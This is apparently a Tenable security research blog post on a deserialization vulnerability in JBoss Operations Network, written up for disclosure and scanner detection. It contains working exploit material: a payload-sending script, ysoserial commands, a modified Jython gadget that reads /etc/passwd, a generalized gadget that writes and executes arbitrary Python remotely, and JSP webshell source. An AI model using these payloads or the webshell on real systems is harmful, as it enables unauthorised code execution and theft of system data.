Expanding on a Known Vulnerability: Attacking with Jython
As a Reverse Engineer at Tenable, I investigate disclosed vulnerabilities in order to write remote plugins for the Nessus® vulnerability scanner. Each investigation is unique and presents its own set of challenges. In some cases, new vulnerabilities are uncovered. One such investigation happened earlier this year when I was analyzing CVE-2016-3737 in Red Hat JBoss Operations Network (JON).
When I began looking into CVE-2016-3737, the entry in the National Vulnerability Database was empty but there was a Red Hat security advisory that read:
It was discovered that sending specially crafted HTTP request to the JON server would allow deserialization of that message without authentication. An attacker could use this flaw to cause remote code execution.
I looked up the most recent patch for JON (at the time this was Upgrade 5) and I found this information in the release notes:
The following security issues are also fixed with this release:
It was found that the Apache commons-collections library permitted code execution when deserializing objects involving a specially constructed chain of classes. A remote attacker could use this flaw to execute arbitrary code with the permissions of the application using the commons-collections library. (CVE-2015-7501)
It appeared that JON had been patched for using libraries that are known to be exploitable during Java object deserialization. Furthermore, CVE-2016-3737 seems to indicate that there is a path through the JON server for a remote unauthenticated attacker to trigger deserialization. I decided that this seemed worthy of further investigation and, possibly, a remote detection plugin.
Vulnerability investigation
After installing an unpatched version of JON (3.3.0), my first task was to find where deserialization of user-provided data occurred. This can sometimes be a bit time consuming since the investigator has to track down all ingress points and figure out where an attacker can control the input. However, in this case it took almost no time at all. I was sniffing local traffic when I noticed these HTTP requests in the background:
You can see from the screenshot an HTTP POST request to port 7080 (which is the same port as the JON web interface) to the URL /jboss-remoting-servlet-invoker/ServerInvokerServlet. Most importantly, after the HTTP header, I’ve highlighted two bytes: 0xaced. These are the magic bytes at the beginning of a Java object stream. This is probably the unauthenticated input point that CVE-2016-373 refers to.
To be sure, I put together a little Python script to POST some data to the server:
import socket
import sys
if len(sys.argv) != 3:
print 'Usage: ./on.py <host> <port>'
sys.exit(0)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
payload = 'test'
req = ('POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/?generalizeSocketException=true HTTP/1.1\r\n' +
'Content-Type: application/octet-stream\r\n' +
'JBoss-Remoting-Version: 22\r\n' +
'User-Agent: JBossRemoting - 2.5.4.SP5 (Flounder)\r\n' +
'remotingContentType: remotingContentTypeNonString\r\n' +
'Host: ubuntu:7080\r\n' +
'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n' +
'Connection: keep-alive\r\n' +
'Content-Length: ' + str(len(payload)) + '\r\n\r\n')
req += payload
sock.sendall(req)
data = sock.recv(4096)
print data
sock.close()
In the script, you can see that we aren’t sending a Java object stream. Instead we are just sending the string “test” after the HTTP header. My goal here is to trigger a corrupted stream exception. Executing the script yields this result:
albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 4203
Date: Wed, 10 Aug 2016 15:05:51 GMT
Connection: close
<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - invalid stream header: 74657374</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>invalid stream header: 74657374</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.io.StreamCorruptedException: invalid stream header: 74657374
java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:808)
java.io.ObjectInputStream.<init>(ObjectInputStream.java:301)
org.jboss.remoting.loading.ObjectInputStreamWithClassLoader.<init>(ObjectInputStreamWithClassLoader.java:100)
org.jboss.remoting.serialization.impl.java.JavaSerializationManager.createInput(JavaSerializationManager.java:54)
org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.getMarshallingStream(SerializableUnMarshaller.java:75)
org.jboss.remoting.marshal.serializable.SerializableUnMarshaller.read(SerializableUnMarshaller.java:122)
org.jboss.remoting.marshal.http.HTTPUnMarshaller.read(HTTPUnMarshaller.java:71)
org.jboss.remoting.transport.servlet.ServletServerInvoker.processRequest(ServletServerInvoker.java:367)
This response is exactly what I hoped for! We learn two useful things:
- As hoped, the exception java.io.StreamCorruptedException: invalid stream header: 74657374 appears. This confirms that the payload is expected to be a Java object stream.
- Since we received a stack trace we can actually find the JAR where ServletServerInvoker is implemented. A little grepping from the JON installation directory uncovers that ServletServerInvoker is implemented in jboss-remoting-2.5.4.SP5.jar.
Next, since we have the unpatched version of JON installed, it makes sense to attempt a deserialization attack. ysoserial makes this quite easy. Below are the commands required to download, build, and generate a CommonsCollection5 gadget that will touch the file /tmp/danger_zone:
$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial/
$ mvn install -DskipTests
$ cd target/
$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/danger_zone' > gadget.bin
We can then use the contents of gadget.bin as the payload in our Python script (instead of “test”). After the Python script is executed, we should be able to see the new or updated file in /tmp/:
albino-lobster@ubuntu:~$ ls -l /tmp/danger_zone
-rw-rw-r-- 1 albino-lobster albino-lobster 0 Aug 10 08:35 /tmp/danger_zone
So far we have:
- Found a point in the web interface that leads to deserialization of untrusted data (CVE-2016-3737).
- Verified that unpatched JON has an exploitable version of Commons Collections on the classpath (CVE-2015-7501).
However, before a remote plugin can be written, we need to verify that Upgrade 5 actually prevents the deserialization attack. Rerunning our Python script against a patched version of JON yields:
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 7178
Date: Wed, 10 Aug 2016 15:24:07 GMT
Connection: close
<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - Deserialization of InvokerTransformer is not permitted, see BZ 1279330</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>Deserialization of InvokerTransformer is not permitted, see BZ 1279330</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.UnsupportedOperationException: Deserialization of InvokerTransformer is not permitted, see BZ 1279330
org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:141)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:498)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
You can see from the server’s response that Deserialization of InvokerTransformer is not permitted. This confirms that the patched JON is using a version of Commons Collections that is no longer exploitable during deserialization. We now have all the information we need to write a new remote plugin check!
However, having looked at a large number of these serialization vulnerabilities I can say with some authority that simply updating Commons Collections is not a recipe for success. There is a non-zero chance that there is another library waiting to be misused by an attacker. I decided to poke around a bit more.
Jython
In March of 2016, Alvaro Munoz and Christian Schneider contributed a new gadget to ysoserial called Jython1. This gadget abuses classes found in the Jython project. ysoserial uses jython-standalone-2.5.2.jar by default, but the latest version (2.7.0) is also usable.
The original version of Jython1 wrote a “webshell” (a JavaServer page that executed user-provided shell commands) to a location specified by the attacker. The webshell is written to disk on the remote target using Python bytecode that is executed upon deserialization. The relevant code from the original Jython1:
// Set payload parameters
String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" +
"<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" +
"<input type=\"text\" name=\"cmd\">\n" +
"<input type=\"submit\" value=\"Send\">\n" +
"</form>\n" +
"<pre>\n" +
"<%\n" +
"if (request.getParameter(\"cmd\") != null) {\n" +
"out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" +
"Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
"OutputStream os = p.getOutputStream();\n" +
"InputStream in = p.getInputStream();\n" +
"DataInputStream dis = new DataInputStream(in);\n" +
"String disr = dis.readLine();\n" +
"while ( disr != null ) {\n" +
"out.println(disr);\n" +
"disr = dis.readLine();\n" +
"}\n" +
"}\n" +
"%>\n" +
"</pre></body></html>";
// Python bytecode to write a file on disk
String code =
"740000" + // 0 LOAD_GLOBAL 0 (open)
"640100" + // 3 LOAD_CONST 1 (<PATH>)
"640200" + // 6 LOAD_CONST 2 ('w')
"830200" + // 9 CALL_FUNCTION 2
"690100" + // 12 LOAD_ATTR 1 (write) ??
"640300" + // 15 LOAD_CONST 3 (<webshell>)
"830100" + // 18 CALL_FUNCTION 1
"01" + // 21 POP_TOP
"640000" + // 22 LOAD_CONST
"53"; // 25 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)};
String[] names = new String[]{"open", "write"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
It isn’t immediately obvious, but JON does have Jython on its classpath. For some reason, it has been repackaged into rhq-scripting-python-4.12.0.JON330GA.jar. However, we can peek into the JAR and verify that Jython exists. The following screenshot shows the Jython version information via JD-GUI:
So we should test if we can exploit patched JON using Jython1, right? We want to write the webshell to a location that is accessible via the web server. The directory that the login page can be found in is:
/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/
So we’ll try to write it there. To generate the gadget, we can use the following command:
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 '/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/shell.jsp' > ./gadget.bin
However, when we test the payload against JON it doesn’t appear to work. The file gets created but the contents aren’t there:
albino-lobster@ubuntu:~/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war$ ls -l
total 56
-rw-r--r-- 1 albino-lobster albino-lobster 5178 Jan 15 2016 CoreGUI.html
drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 css
drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 fonts
drwxr-xr-x 11 albino-lobster albino-lobster 4096 Nov 17 2014 images
drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 img
drwxr-xr-x 2 albino-lobster albino-lobster 4096 Nov 17 2014 js
-rw-r--r-- 1 albino-lobster albino-lobster 5265 Jan 15 2016 login
-rw-r--r-- 1 albino-lobster albino-lobster 3565 Nov 17 2014 mashup.html
drwxrwxr-x 3 albino-lobster albino-lobster 4096 Jan 27 2016 META-INF
drwxr-xr-x 4 albino-lobster albino-lobster 4096 Jan 15 2016 org.rhq.coregui.CoreGUI
drwxr-xr-x 2 albino-lobster albino-lobster 4096 Jan 15 2016 org.rhq.core.RHQDomain
-rw-rw-r-- 1 albino-lobster albino-lobster 0 Aug 10 11:26 shell.jsp
drwxrwxr-x 4 albino-lobster albino-lobster 4096 Jan 27 2016 WEB-INF
This is odd. I’ve seen this gadget work before. There is nothing weird about the exception the server provides us either. It terminates in a ClassCastException like we’d expect:
albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 4976
Date: Wed, 10 Aug 2016 18:26:06 GMT
Connection: close
<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - org.python.core.PySingleton cannot be cast to java.lang.Integer</h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u>org.python.core.PySingleton cannot be cast to java.lang.Integer</u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>java.lang.ClassCastException: org.python.core.PySingleton cannot be cast to java.lang.Integer
com.sun.proxy.$Proxy1523.compare(Unknown Source)
java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
Perhaps Red Hat did something weird in the repackaging?
From another point of view, Jython1 isn’t great for writing a remote plugin. Touching the disk of a remote target is something that a plugin should avoid at all costs. Plugins that do touch disk get labeled ACT_DESTRUCTIVE_ATTACK and generally are used less due to concerns that the vulnerability scan may impact the integrity or availability of a server.
Considering these problems, this seems like a good opportunity to try and rewrite Jython1. A good starting point would be creating a version that simply reads /etc/passwd and returns it to the remote attacker. In order to accomplish that, we will need the Python bytecode that does this. We can accomplish that with the following steps:
- Write the Python code that reads from /etc/passwd and then throws an exception:
albino-lobster@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> def throw_exception():
... f = open('/etc/passwd', 'r')
... text = f.read()
... raise Exception(text)
...
>>>
- Dump the disassembled instructions:
>>> import dis
>>> dis.dis(throw_exception)
2 0 LOAD_GLOBAL 0 (open)
3 LOAD_CONST 1 ('/etc/passwd')
6 LOAD_CONST 2 ('r')
9 CALL_FUNCTION 2
12 STORE_FAST 0 (f)
3 15 LOAD_FAST 0 (f)
18 LOAD_ATTR 1 (read)
21 CALL_FUNCTION 0
24 STORE_FAST 1 (text)
4 27 LOAD_GLOBAL 2 (Exception)
30 LOAD_FAST 1 (text)
33 CALL_FUNCTION 1
36 RAISE_VARARGS 1
39 LOAD_CONST 0 (None)
42 RETURN_VALUE
>>>
- Dump the instructions as hex:
>>> print [hex(ord(x)) for x in throw_exception.func_code.co_code]
['0x74', '0x0', '0x0', '0x64', '0x1', '0x0', '0x64', '0x2', '0x0', '0x83', '0x2', '0x0', '0x7d', '0x0', '0x0', '0x7c', '0x0', '0x0', '0x6a', '0x1', '0x0', '0x83', '0x0', '0x0', '0x7d', '0x1', '0x0', '0x74', '0x2', '0x0', '0x7c', '0x1', '0x0', '0x83', '0x1', '0x0', '0x82', '0x1', '0x0', '0x64', '0x0', '0x0', '0x53']
>>>
- Double check that we wrote functional Python!
>>> throw_exception()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 4, in throw_exception
Exception: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
…
We now need to convert the hex bytecode into something that we can use in Jython1.java. If you look at the output of step two you can see the size of each instruction. As such, we can combine steps two and three so that it looks like this in Java:
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 ('/etc/passwd')
"640200" + //6 LOAD_CONST 2 ('r')
"830200" + //9 CALL_FUNCTION 2
"7d0000" + //12 STORE_FAST 0 (f)
"7c0000" + //15 LOAD_FAST 0 (f)
"690100" + //18 LOAD_ATTR 1 (read)
"830000" + //21 CALL_FUNCTION 0
"7d0100" + //24 STORE_FAST 1 (text)
"740200" + //27 LOAD_GLOBAL 2 (Exception)
"7c0100" + //30 LOAD_FAST 1 (text)
"830100" + //33 CALL_FUNCTION 1
"820100" + //36 RAISE_VARARGS 1
"640000" + //39 LOAD_CONST 0 (None)
"53"; //42 RETURN_VALUE
Now we just need to update Jython1.java to reflect our use of consts and functions. We can just replace the existing code with this:
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("/etc/passwd"), new PyString("r")};
String[] names = new String[]{"open", "read", "Exception"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
If we generate a new Jython1 gadget using our updated code and send it to the JON server to get deserialized we now get this:
albino-lobster@ubuntu:~$ python on.py 127.0.0.1 7080
connecting to 127.0.0.1 port 7080
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 7776
Date: Wed, 10 Aug 2016 19:07:57 GMT
Connection: close
<html><head><title>JBoss Web/7.5.10.Final-redhat-1 - JBWEB000064: Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>JBWEB000065: HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>JBWEB000309: type</b> JBWEB000066: Exception report</p><p><b>JBWEB000068: message</b> <u></u></p><p><b>JBWEB000069: description</b> <u>JBWEB000145: The server encountered an internal error that prevented it from fulfilling this request.</u></p><p><b>JBWEB000070: exception</b> <pre>Traceback (most recent call last):
File "noname", line 0, in <module>
File "noname", line 0, in <module>
Exception: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
…
Nice! We now have a good proof of concept to pass to Red Hat as part of Tenable’s coordinated disclosure efforts.
But why not go one step further? The current gadget in ysoserial seems a little too specific. Let’s write a more generalized Jython1 for everyone to use. If we look at the built-in Python functions, we see that there is an interesting built-in called execfile which will execute a provided Python script. This seems like it would be a useful mechanism to upload Python scripts to a remote host and execute them.
Fully generating the code for the generalized version of Jython1 is an exercise I’ll leave to the reader, but the end result in ysoserial looks like this:
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
If we want to drop a webshell using the generalized Jython1 we just write a new Python script:
# Create the webshell from the original Jython1 (by Munoz & Schnieder)
webshell = ('<%@ page import="java.util.*,java.io.*"%>' +
'<html><title>Do you not?</title>' +
'<body><form method="GET" name="myform" action="">' +
'<input type="text" name="cmd">' +
'<input type="submit" value="Send">' +
'</form>' +
'<pre>' +
'<%' +
'if (request.getParameter("cmd") != null) {' +
'out.println("Command: " + request.getParameter("cmd") + "<br>");' +
'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' +
'OutputStream os = p.getOutputStream();' +
'InputStream in = p.getInputStream();' +
'DataInputStream dis = new DataInputStream(in);' +
'String disr = dis.readLine();' +
'while ( disr != null ) {' +
'out.println(disr);' +
'disr = dis.readLine();' +
'}' +
'}' +
'%>' +
'</pre></body></html>')
f = open('/home/albino-lobster/jon-server-3.3.0.GA/modules/org/rhq/server-startup/main/deployments/rhq.ear/coregui.war/webshell.jsp', 'w')
f.write(webshell)
f.close()
We can then feed the Python script into the generalized Jython1 gadget like so:
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar Jython1 "/home/albino-lobster/create_webshell.py;/tmp/cw.py" > gadget.bin
This command tells Jython1 to read in the local python file create_webshell.py and to write/execute it from /tmp/cw.py on the remote target. If we send our newly created Jython1 gadget to JON the webshell should appear at http://<JON address>/coregui/webshell.jsp. Here is how it looks:
Success!
Conclusion
I should emphasize that the exploitation of JON using deserialization and Jython has been disclosed to Red Hat already. The full timeline can be found in the Tenable Research Advisory.
Tenable also released a remote plugin to check for this vulnerability.
Acknowledgement
This blog entry involves the use of a tool called ysoserial. The tool was originally released by Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) at AppSecCali 2015. There have also been significant contributions from Moritz Bechler, Matthias Kaiser (@matthias_kaiser), Alvaro Munoz (@pwntester), and Christian Schneider (@cschneider4711). Thank you all for sharing your great work.
Related Articles
- Nessus
- Plugins
- Vulnerability Management